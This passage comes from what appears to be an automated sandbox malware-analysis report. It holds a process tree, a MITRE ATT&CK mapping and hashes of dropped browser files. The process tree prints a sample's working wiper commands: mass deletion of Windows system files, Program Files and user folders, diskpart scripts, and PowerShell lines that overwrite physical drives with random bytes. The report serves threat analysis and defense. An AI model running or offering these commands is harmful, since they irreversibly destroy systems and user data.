  cmd /c "del /f /s /q C:\Windows\System32\*.dll >nul 2>&1"
  2⤵
  PID:4636
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\explorer.exe >nul 2>&1"
  2⤵
  PID:1584
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\cmd.exe >nul 2>&1"
  2⤵
  PID:4656
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\powershell.exe >nul 2>&1"
  2⤵
  PID:3804
- C:\Windows\system32\cmd.exe
  cmd /c "rmdir /s /q \"C:\Program Files\" >nul 2>&1"
  2⤵
  PID:6312
- C:\Windows\system32\cmd.exe
  cmd /c "rmdir /s /q \"C:\Program Files (x86)\" >nul 2>&1"
  2⤵
  PID:6880
- C:\Windows\system32\cmd.exe
  cmd /c "rmdir /s /q C:\Windows\System32 >nul 2>&1"
  2⤵
  PID:6968
- C:\Windows\system32\cmd.exe
  cmd /c "rmdir /s /q C:\Windows\SysWOW64 >nul 2>&1"
  2⤵
  PID:7048
- C:\Windows\system32\cmd.exe
  cmd /c "for /d \Users\*) do rmdir /s /q \"u\Desktop\" >nul 2>&1"
  2⤵
  PID:7136
- C:\Windows\system32\cmd.exe
  cmd /c "for /d \Users\*) do rmdir /s /q \"u\Documents\" >nul 2>&1"
  2⤵
  PID:7016
- C:\Windows\system32\cmd.exe
  cmd /c "for /d \Users\*) do rmdir /s /q \"u\Downloads\" >nul 2>&1"
  2⤵
  PID:6708
- C:\Windows\system32\cmd.exe
  cmd /c "for /d \Users\*) do rmdir /s /q \"u\Pictures\" >nul 2>&1"
  2⤵
  PID:5728
- C:\Windows\system32\cmd.exe
  cmd /c "for /d \Users\*) do rmdir /s /q \"u\Videos\" >nul 2>&1"
  2⤵
  PID:3708
- C:\Windows\system32\cmd.exe
  cmd /c "for /d \Users\*) do rmdir /s /q \"u\Music\" >nul 2>&1"
  2⤵
  PID:2064
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\pagefile.sys >nul 2>&1"
  2⤵
  PID:7104
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\hiberfil.sys >nul 2>&1"
  2⤵
  PID:6408
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\swapfile.sys >nul 2>&1"
  2⤵
  PID:2968
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Recovery\*.* >nul 2>&1"
  2⤵
  PID:160
- C:\Windows\system32\cmd.exe
  cmd /c "rmdir /s /q C:\Recovery >nul 2>&1"
  2⤵
  PID:5964
- C:\Windows\system32\timeout.exe
  timeout /t 3 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:7616
- C:\Windows\system32\diskpart.exe
  diskpart /s C:\Users\Admin\AppData\Local\Temp\disk0.txt
  2⤵
  PID:7616
- C:\Windows\system32\diskpart.exe
  diskpart /s C:\Users\Admin\AppData\Local\Temp\disk1.txt
  2⤵
  PID:2568
- C:\Windows\system32\diskpart.exe
  diskpart /s C:\Users\Admin\AppData\Local\Temp\disk2.txt
  2⤵
  PID:7092
- C:\Windows\system32\diskpart.exe
  diskpart /s C:\Users\Admin\AppData\Local\Temp\disk3.txt
  2⤵
  PID:7480
- C:\Windows\system32\diskpart.exe
  diskpart /s C:\Users\Admin\AppData\Local\Temp\disk4.txt
  2⤵
  PID:7140
- C:\Windows\system32\diskpart.exe
  diskpart /s C:\Users\Admin\AppData\Local\Temp\disk5.txt
  2⤵
  PID:7664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "try{$d=[System.IO.File]::Open('\\.\PhysicalDrive0',[System.IO.FileMode]::Open,[System.IO.FileAccess]::ReadWrite);$buf=New-Object byte[] 20971520;$r=New-Object Random;$r.NextBytes($buf);$d.Write($buf,0,$buf.Length);$d.Close()}catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "try{$d=[System.IO.File]::Open('\\.\PhysicalDrive1',[System.IO.FileMode]::Open,[System.IO.FileAccess]::ReadWrite);$buf=New-Object byte[] 20971520;$r=New-Object Random;$r.NextBytes($buf);$d.Write($buf,0,$buf.Length);$d.Close()}catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "try{$d=[System.IO.File]::Open('\\.\PhysicalDrive2',[System.IO.FileMode]::Open,[System.IO.FileAccess]::ReadWrite);$buf=New-Object byte[] 20971520;$r=New-Object Random;$r.NextBytes($buf);$d.Write($buf,0,$buf.Length);$d.Close()}catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "try{$d=[System.IO.File]::Open('\\.\PhysicalDrive3',[System.IO.FileMode]::Open,[System.IO.FileAccess]::ReadWrite);$buf=New-Object byte[] 20971520;$r=New-Object Random;$r.NextBytes($buf);$d.Write($buf,0,$buf.Length);$d.Close()}catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "try{$d=[System.IO.File]::Open('\\.\PhysicalDrive4',[System.IO.FileMode]::Open,[System.IO.FileAccess]::ReadWrite);$buf=New-Object byte[] 20971520;$r=New-Object Random;$r.NextBytes($buf);$d.Write($buf,0,$buf.Length);$d.Close()}catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1528
- C:\Windows\system32\timeout.exe
  timeout /t 3 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:7396

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4048

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:836

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:5960

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3708

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:7116

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:3264

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Image File Execution Options Injection

T1546.012

Privilege Escalation

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Image File Execution Options Injection

T1546.012

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Credential Access

Discovery

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 827caedd6ba67a465e2378da508ebf9f7e5dc38b9ff3d1086fe8a0b10ad23634
MD5 6a7649ad8529021b8a0bf012adb69564
SHA1 bc6cb8e64c0f5c84a887a19005280de2e2ff95dd
SHA512 316ecd29696eeae0002f91778818c1c4166e5bbf8440eddea3560a6ea0fb49f25e4e33c48c2d7c73eb08507c015f5aa7eb4187e6558ebdc4cd44c5bd980d8c3a
TLSH
T133D0800529B3DC74D055847018D77B4D7665CD6B4D4657163473283D1C4B4504D911DB
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 030978901609c12837a9b1afdcd1ee9f12ef19339fd94725f17a7cdb1e945f36
MD5 35e76198d1c2c61d3c2a49119ba65747
SHA1 a5ae8329c9e762bed0a3d6bc5584e8faf6d26a77
SHA512 8b21ab6c5e29ab0ea7652b7adadb04a05eb734a52faa779252fbec4acd45079c7ad3f83f36227a419f0a59fc94eb1cf408bcd782459cf4691b6eb727be746fd3
TLSH
T136D0800925B7DC74D059847018977B4D7555CD6B4D4657163473283D1C4B4504D911DB
MD5 SHA1 SHA512 TLSH

Submit Download

580eddfb-a0dc-4936-9483-bf4d475d5156.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\580eddfb-a0dc-4936-9483-bf4d475d5156.tmp
Size 16KB
SHA256 fc7369eb8ea4d11013a6be503c807e4424675ffd46ec2f063bf61a41d12300c2
MD5 50b8e7cce0097fe18e973f3cbdb6b7e6
SHA1 8365ed86b224a7fdd9ffd6e70f9e86d3c8444563
SHA512 0704f1f4b7b86d35f56fdacd9066f1d93a322c17bd0fc7597f139cc8f0bad045889f5f31f870253b41906fcdfdcf6b827b574446f29b32775bad67dd30bfd832
SSDEEP 192:sxZBJRsyMqZ/K1Ml8UQZjJ2/fKsRucUTIQ91Bqrjbfzodpz/qbpHW6+WNG4n/YKD:sxZnJqtJ2/fKsRw8e1BikEHbd/NmqCA
TLSH
T1E872E916A6389D77CCD7D219FA45BB53D7F9452291904E48A9FCCB0C01EBAED220782F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 27147a8e30211d054693670952c56c3598bc0bae6726f9cf7eae5ad34f4760de
MD5 1acb9faaa8e0d1aacc7e45f9db757273
SHA1 0a788b8fdc91d87e4fbd611d026911d23dd98e27
SHA512 6f54f736e5563dec11e3bf649ca4fdd6cf994aff55f8b1b46d29ad3b743cb01bdd4dd2d3669966283db93e0a945d0ae943c639b9b7ed3390fed5825a770c0e2a
TLSH
T135717210B3B5C42FE3F741701AEE60A9B2B7850D418B3E7E01E18A7C8A17B0663C97E4
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 46404aeed09a6c02d1b777bb97774dc8f5969b50dc3a1e120bdd21756f9a71bd
MD5 31621b4073d7a8da1b83663a83306127
SHA1 8b1a578b0b26e31937269b8e2c6ddab6fa43bbfb
SHA512 6bf7fceec27858da51e6118038614f751a3d0ffd074c7f701dc8b8dbd527e314277f3a084f41c729d13efc485a9f0a842a9009beec681438a20609b7b3de6904
TLSH
T1D4614020B3B5842FE7F341740AEE6069B2B68A0D414B3E7E11E1997D8A57B0663C97E4
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59d2c7.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59d2c7.TMP
Size 3KB
SHA256 310aced840ddd674a8fe907934f33c087cac8ef2d5ae1b24920f7e8888894a0c
MD5 58b9b25d182122b9fda6c7cdd42d1ec8
SHA1 075a25c7df9ec08ceff36977d0e35f59f1121ef8
SHA512 89c8903b72426ee1e29bc8510b7a78c44ba7b390909a4da2263dcbc73d9021e862d82a162e48ed063e066d17c298ea1450d9232747f82545ece006464de07dd8
TLSH
T115613F10B3B1842FE3F341740AEE6069B2B68A0D414B3E7E01E1897D8A17B4663C97E4
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 d9dca9b6177e938432c9f1123ddf4130ff8ec090d56f5ea949cf74529d7c6b50
MD5 bf6be0a6ac079b520dfd7a0086acb02b
SHA1 d15e32d87222927505369bc611be1cbe9d903e16
SHA512 bde59b74f202a63b47643292130caf65b2014c580785a381b8f1b11908d43624145e5a1cebe7c8ecceb06a786d6b006d109af49b802409ac91c1807ebd674d5a
TLSH
T1B031FEF3C3E8857D8A0185F0A6183E2BCE6D0950931C3D9AC4E09E1B93E2470E14195F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 2598b6f12ae460dc6f2038557ab7d731a00e963a06f512ad8a7e6e8311346a57
MD5 3356188f78231e7cec3066248ac72dea
SHA1 ad9cef5f50fd22dca501894c4f227a393eb448a5
SHA512 c8c67545d24b2656945fc128c0fe7bfabb16a7cb9b4a417101ee6416ede6a0c49cd783b5ff818b92ca93fdaedc2824ec5ffb3dd79dbf75ac99bdea784b4377a8
TLSH
T15F71AEF3C3E8C62DDD1156F4AA183E1BDE6D0924436C3D6AC9E4AF4BA3E5471E24054E
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 4KB
SHA256 b561908a70d494cf5594dafb74708393ad71e84473ad0a217ceac611af7a9be8
MD5 e4d1428fd0451bc1e5d90c90974a2984
SHA1 331c7fb180bbdf42282a51e1728e6d5eebd07d99
SHA512 e3cb9e2f3881ee34ad09378e71de5cb4990a9116ab4bb08bea91be63502ecba5c8c93a15ef3aed1f297b73e87b41232e125e9e59ad820f7531bb50339864afff
SSDEEP 96:D1u9u/uBuTtGwugtuPZj6Tju4wa/UTu2uZuEu9usw:D1cCmEGw5wj6TjBV/UTVK5qg
TLSH
T17191BDF3C3E8C62DDC1156F4AA183D1BDE2D0924836C3D6AC9D4AF4BA3E5470E240A4E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 5e4ae29927a157fbad35d91e365ad108eb8bf5727dfd9052b9d3a9d0ed7a2dee
MD5 7abc67ace7d57f0f59bc01355705b1c2
SHA1 191149d4f5877c0c66e1c5bf3ab3e8aabc85b9c9
SHA512 45c930c3d6a471c4c7c393c619267113e4996bdd9a5056afb3a9a144e8adcea8bfc47ea7d0636a66718f47a78bd14cea3101dcf741afc1eb77b1a6d35507656d
SSDEEP 192:sxZBJRsyMqZ/K1Ml8MjJ2/fKsRucnkvqrjbfzodpz/qbpHW6+WNG4n/YKgkmbOI3:sxZnP7J2/fKsRraikEHbd/RmqFo
TLSH
T18872FA16AA385D7BCCD7D619F641BB53D7F90562D1904E48A9FCCA0C04E6AED220782F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 89fc1e317b90bb527e67c82af4a666211ef7db973536b062783db6e61c27d17a
MD5 360e914e646154544c3077cd0eeca78e
SHA1 3022858ef1f001d203e134a02fe7ffbffb2683bd
SHA512 6c129d60da906f9f96a034747ec8f202a25f6e651668d434fadc13d0b993d83190698b497b5dcada96d65fb34e3a3b0414439fb426b9eb64b50c0a0277697d16
SSDEEP 192:sxZv9JRsyMqZ/K1Ml8kJ2/fKsDucnkvqrjAfzodpLHW6+WNGYKkkmbOIgjkJ:sxZvrPZJ2/fKsDraiFLHbGVmqjo
TLSH
T1BC62E8156A38997BCCCBD609FA517F93D7F90563D1900E48A9FCCA0C04E6AED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 16KB
SHA256 843f0e362670b01d7e1f5fcc5699262ab7b9e84400e78ab114a6fa5afd2f014b
MD5 919f8d697fff5a9b8cf88d9721654dfe
SHA1 856e7b701c056c18938f4f0e5cafbecacfb17bbb
SHA512 a245e22246a2946c7e85f8755a33d56759c97bdb8e44c368d51877b9852fe10213a40755de62e89ffc4af95f6cd7d62b845cd3faffdbf12a5e8d7bedc4d8076f
SSDEEP 192:sxZBJRsyMqZ/K1Ml8MjJ2/fKsRucUTIQ91Bqrjbfzodpz/qbpHW6+WNG4n/YKakF:sxZnJ7J2/fKsRw8e1BikEHbd//mqCA
TLSH
T1FF72FA16A6389D7BCCD7D219FA45BB53D7F9052391804E58A9FCCA0C01E7AED220782F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 35KB
SHA256 f7dbe20c1242fc908a49ff495cf09e32d0dd169aa453334053ea3e9755b82f21
MD5 7ad65c42221c3e063bdf10cb0b51eea7
SHA1 d1b50f86c7a74df21afab4f8a21c0330b52f0d40
SHA512 2f0d9252b3db26fee98717aaaf4faa8a08e0513b11af9f28ab24ceea79d4704e47405ac040d11212399a0f5c8bcb9b6ec5ee69cae3faa70746a380360ef9f555
SSDEEP 768:DcgLiZo7pLuL/aeWvaShq8F1+UoAYDCx9Tuqh0VfUC9xbog/OVnMKJLlhzCpUroy:DcgLiZUE/aeWvaShqu1jauMKJLDOp/y
TLSH
T191F20C3B6C0CCB7E4F804E9CDC2ABE8E6DE8028B9698C95447FA445C03C66EB55175DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 35KB
SHA256 9b434463d0632e04139c4c19a635326667bb0af7098baf2ded94c65688e2a2d9
MD5 b905ec6fc0d0bfa2a7a86dc9d21d11a3
SHA1 fbc6503f0f62e5e57562b33956369fd4080ce289
SHA512 7f8f5fce7874c2fadd3752e65b06f4084673ed49d1dfb6bda986afdc71092a9e11c3e46ab54ee9cc042fdb12768675772ba95dfbb53d3ab603b00f3011684f48
SSDEEP 768:DXgLiAo7pLuL/aeWvaShq8F1+UoAYDCx9Tuqh0VfUC9xbog/OVWMKJLlhzCpUroD:DXgLiAUE/aeWvaShqu1jaXMKJLDOp/D
TLSH
T18CF20C3B2C0CCB7E4F844E9CDD2ABE8E6DE802CB9698895447FA444C03C66EB55175DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 24KB
SHA256 bca9e220599bd209567b2dcf679d5a4d1768e1f6aa2579b5a39d7eba2f29b5df
MD5 2ea30e7d443beba8943899e514f29d31
SHA1 d55906f75cb4f1f14d9d9ee0f974a28abb683db2
SHA512 b018adc60aee21dc6ca9650a456d057254fbc86f4c7a9df9fce454e11234ead2cd1d18288633d8512239528738c3ddbdf3a54ced29752c17a5608be5bca8b28b
SSDEEP 192:kBhNHfIVfhRXF4B6W4KqV2j6Ok4pYLQobOyzcp/KLNz3BVnptNg:krN/INhx+kcxKBzxVpt+
TLSH
T1ACB23A11727A02C13A7E298A8595B42F76C2306371D8B93B7BB914A60F6BE10DDFD4CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\dcaajljecejllikfgbhjdgeognacjkkp\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\dcaajljecejllikfgbhjdgeognacjkkp\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

favorites_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\favorites_diagnostic.log
Size 2KB
SHA256 7b526e04b37958b84128ab78329c75f1a0c26a499cb7397d3b62ec798eac08b3
MD5 69da499dc8c0461798c20e683382a0cf
SHA1 f5bffb13287fc232144bf2561fb34197a503bce5
SHA512 2ccb4a7aa57c16cee720e2ab442a9daea8f29833266251e4185b96e1742079aa403d5c35845c32a84fe7fd6a6006b5ba99e9692fcc05468c07d446a8dbbf3709
TLSH
T12A5143C1A3A955C56F89A982C21A7407B5E13EAB364E5C72633F54F45F48C248F2FE22
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 26KB
SHA256 b88ef709e97a7a2474effc38963b8693c59441f1835dc699e792dcd74aac6941
MD5 33183de1ee0f9b0e6aa038ab303de725
SHA1 6ef4fb365267ddce25f224be932739a6c2471541
SHA512 c55fe01a4453a084c39057ed26d977b49b4f2930bd011c71e9ca020dc6fb71a78b1baee2ab9d253c6561371bfe2447ec5d35f4a7adfc5da350257de76fe83b5b
SSDEEP 768:4Fayv3SwgHsuY7tcR93CJI7RYk1mC/0KS:zyv3oxD3CimkEC/e
TLSH
T169C24B35E8A8DEBBEDEA5FC9A7097A07DEE04167C59C0AD4DAD80E1D00D719E130BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 24KB
SHA256 7b13b606e3d7667bb742d926b6bf011025b519921223e7fcbc26f597de0ef83a
MD5 e7c86a8f075041eccff2162a32f5790e
SHA1 b7d6188b40b5d00e1fdb0aa730dd7ac4c0d5179f
SHA512 c53999e60eec8d03c06c021195dc553b5af539345b07a3ae1a01a91608c36dce59d8082ca2dc849ccfda586a8f5434410b033fd498dddb7108a27deb20f29e9e
SSDEEP 384:nuiFavqMJ3sNM8TUNTUlI4hZTPACcOwfjY7rpJeR9I2rYsAJnWTaWu6vvrN1k+5K:FFayG3dwg+DsY7tcR93CJRW/S
TLSH
T1A6B23A75E8A8CE67ECEA9B99B70A7643DEE045A3C58C4ED4DAD84E0D00C71DD270BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 24KB
SHA256 a7007ea776fd886b263c985134e87b2a0546ff94edad0415b606cda95656ce7c
MD5 dae23fcb89fd28dead13c21ac0be1933
SHA1 fcdeaa853e58cd52a2f7f1401e25b9e6d691f7ff
SHA512 dc375487c85e1d8a2d8b457af835401977d65fd3c7776268cf78306fe789e6a00c00fbb24e5597f2951a06ee1eaf274179fbf3cd3ff6172d631ad3673051c890
SSDEEP 384:nciFavqMJ3sNM8TUNTUlI4pZTPACcOwfjY7rpJeR9I2rYsAJnWTaWu6vvrN1k+5K:HFayG3dwgyDsY7tcR93CJRW/S
TLSH
T185B23A75E8A8CE67ECEA9B99B70A7643DEE045A3C58C4ED4DAD84E0D00C71DD270BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 24KB
SHA256 1eaedbafac17cd0fc63fb949762507d4d61b31d7c52af99a3849afa62138012f
MD5 46577e9c8bbc941d4c8b9e2984d8a7af
SHA1 508b59f5b05fc09d8c91ea3fb5618577b5a1a27b
SHA512 84fa32be05939a5adfb924b397b311c6bad1c5423e00ec51c1280c2b639656c635a1b02e9bf5306eaffb2586c830bb1e7887703b540bcaaca618f10ed6594abe
SSDEEP 384:nziFavqMJ3sNM8TUNTUlI4hZTPACcOwfjY7rpJeR9I2rYsAJnWTYWu6vvrN1k+5K:eFayG3dwg+DsY7tcR93CJLW/S
TLSH
T1ABB22975E8A8CE67ECEA9B99B70A7643DEE045A3C58C4ED4DAD80D0D00C71DD270BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 a0e323889f824f44aac01adc14a3b9926943610b965f3e5183249f8b201c82a4
MD5 914caa0707740ddbaeb14163ecb5bc43
SHA1 43445e79c0867ec4f37b442c26d26887976b317a
SHA512 e1914561bb6105bd528c0c37fbf24e9468e5995fde8a3aaa49ef8028668eafcae3d94af5182fb3623ae294a4f86a747096aca9cdd2e461d0873e8d0d5b7390b2
SSDEEP 768:VFayv3twgH7zY7tcR93CJRWRYk1mC/0KS:+yv3T1D3C+mkEC/e
TLSH
T162C25B35E8A8CD7BEDEA5BD9E70A7603DEE045A3C98C4AD4DAD80E1D00D719D270BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

8b0d4544beb97a69dbb9583fca5575a9aba6e37d.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\8b0d4544beb97a69dbb9583fca5575a9aba6e37d.tbres
Size 2KB
SHA256 309d59afecaf25f4eb6ce4f9e9a9bc2750c823b66fbb525bd23b4f980bfe9274
MD5 458cb32d58f3a0bc741e9d54a3764d22
SHA1 5e3c3b7a9c5dcff80844c8e4561d9ac4e59d79c0
SHA512 24e233db5b0433c6551f253bde5457aa883de4ef7e1796e640b114bfc5a730a60454a924a12eff23b0b0ed36c7f163acd0674c2de8c76c28cf3aca83e38d8302
TLSH
T13B512C5869FA5108B373BE5997F6799E847B79373A06D45D10110E0F0923B40DCA2B37
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

